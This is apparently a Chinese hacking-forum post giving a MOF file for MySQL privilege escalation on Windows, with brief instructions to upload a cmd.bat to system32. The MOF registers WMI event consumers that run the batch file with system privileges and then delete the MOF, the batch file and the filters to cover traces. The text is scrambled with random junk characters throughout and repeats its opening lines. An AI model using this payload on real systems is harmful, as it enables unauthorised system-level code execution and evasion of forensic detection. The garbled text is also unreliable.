这个sql提权MOF需要运行 system下的文件,不能定义路径。
- H' Q8 f: m9 y, |2 k需要将要运行的命令写入到bat上传到system32目录,然后执行。. Y7 K3 x. T5 q& t: `% K
* N1 B: h$ {; A9 P! }$ V5 R
这个sql提权MOF需要运行 system下的文件,不能定义路径。! z% [' N6 B# d0 o
需要将要运行的命令写入到bat上传到system32目录,然后执行。3 [) M4 [: b4 p8 Z: k
6 w) A4 X; u* l7 v4 L$ |#pragma
& F0 d0 h3 m' w( E# O- Q) Y9 R1 p namespace("\\\\.\\root\\cimv2")
5 c, g# k; |: i1 I class
5 F* e" ^4 B8 w: t+ P% J6 J3 ] MyClass547
8 g( X2 c1 |8 [8 \$ l6 H { [key]
' u4 r7 d$ S9 P: ]9 P/ A- t string
- _3 Y6 n8 p7 d* E Name;
) r$ L& t1 O. u };# v- c$ V7 R; n4 s9 I0 c
class2 T% N O2 @* a3 R
ActiveScriptEventConsumer6 z( q! Q: _# y! `: I: X
: __EventConsumer { [key]# h- z4 i: Q& W) a+ b2 U9 S4 V
string
4 N% W m# Q% F+ H8 k) u Name; [not_null]
* d/ r: F7 m& Z; m string
6 O: w8 v5 _* k, l9 Y# Y0 q ScriptingEngine; string
8 G& o4 E+ Z% K9 P1 R( h ScriptFileName; [template]+ {9 D7 ]7 V' |; d
string0 M. `8 X" p# C" h
ScriptText; uint32 KillTimeout;
8 A! B. e3 {7 X/ }* L2 ~ }; instance of __Win32Provider as $P {: D; |; ~7 I3 _6 w& @
Name; V. t4 e9 d" i! m; G% |5 Y3 F- N1 D. b
=
* ^% M) s4 z" E "ActiveScriptEventConsumer"; CLSID =# q" \2 y' g8 ]' K
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
% f$ B* G% [% J! ?% R: y4 y PerUserInitialization5 a4 Z& ~) `$ _. |/ Y
= TRUE;
. i; G' |9 z v" k' Z }; instance of __EventConsumerProviderRegistration { Provider
6 [" i, S6 ?6 `% K5 z = $P; ConsumerClassNames
# ^5 z8 ~4 @/ ? =
S2 D$ v& @/ e4 [ {"ActiveScriptEventConsumer"};" r2 J: Z' q$ k% z
};
2 G( o+ w0 B& Y4 x* _ Instance of ActiveScriptEventConsumer4 X/ u6 c( N6 j# I( @$ r7 p
as $cons { Name' _# e7 ^& M7 S. j9 V
=( P$ a, k" w. W3 }) b" e# F u
"ASEC"; ScriptingEngine7 q% H; d# h. f! w& `+ K
=
7 y6 M, y: ~! A/ k$ ]+ a "JScript"; ScriptText2 S2 E W1 H: c
=
8 n; R; o8 [) A2 }& `8 l& N- N "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };6 N7 z+ a" i4 t, s& i4 h
Instance of ActiveScriptEventConsumer8 }, l( e) y. B* q) K4 o ?
as $cons2 { Name
2 C: K1 s+ {) U, f; K i =
, ?: E( @( d9 B# g1 C ], I1 Z. u "qndASEC"; ScriptingEngine; z3 g3 {5 r7 s+ w/ ~
=
9 u+ @; B, m5 S "JScript"; ScriptText
7 N3 y& J: g1 A$ c# q$ s, R, e =% w$ R3 J+ K2 ~/ c
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";# |/ r- E2 f1 t( i, q8 o& J% n
}; instance of __EventFilter as $Filt { Name0 ?+ p1 v- X9 U" y5 ^
=. `# e+ k/ @! l1 e& Y2 ~4 K% m. A
"instfilt"; Query( m/ Z! o5 B! s* {6 ]& ]& B
=9 w: f R+ U9 `
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage/ l7 s4 ?- A- `0 h2 Z1 m
=
H2 j" u# x2 c; _' y "WQL"; }; instance of __EventFilter as $Filt2 { Name3 W% g/ U) }9 e$ E- a/ D$ R0 q) [
=
! q1 `( Z$ Q, L: {, I9 h "qndfilt"; Query
9 }' Y' Z! ~: ]# u; w =% K- ~5 o* U( B
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
0 R3 K) a3 E! R) s+ p+ _ =
% t# ^6 J' H9 \' O9 u9 X) J "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
6 @/ K0 K- ]$ A = $cons; Filter
" w; i- k2 R9 B9 G = $Filt;
/ ~; X7 E* s+ }2 F& {( @* n/ o$ y }; instance of __FilterToConsumerBinding as $bind2 { Consumer
X4 } Y, g) n% Q = $cons2; Filter
1 ^' k4 E4 q$ r1 d = $Filt2;
, v8 P/ K3 F0 S) ~4 ? }; instance of MyClass547
' X" n! w) {* c, H, \ as $MyClass { Name" D3 a- c% J5 n. |
=% R3 [" A* \- b7 @, A) i1 l
"ClassConsumer";- h) x. a1 A* O* T
}; |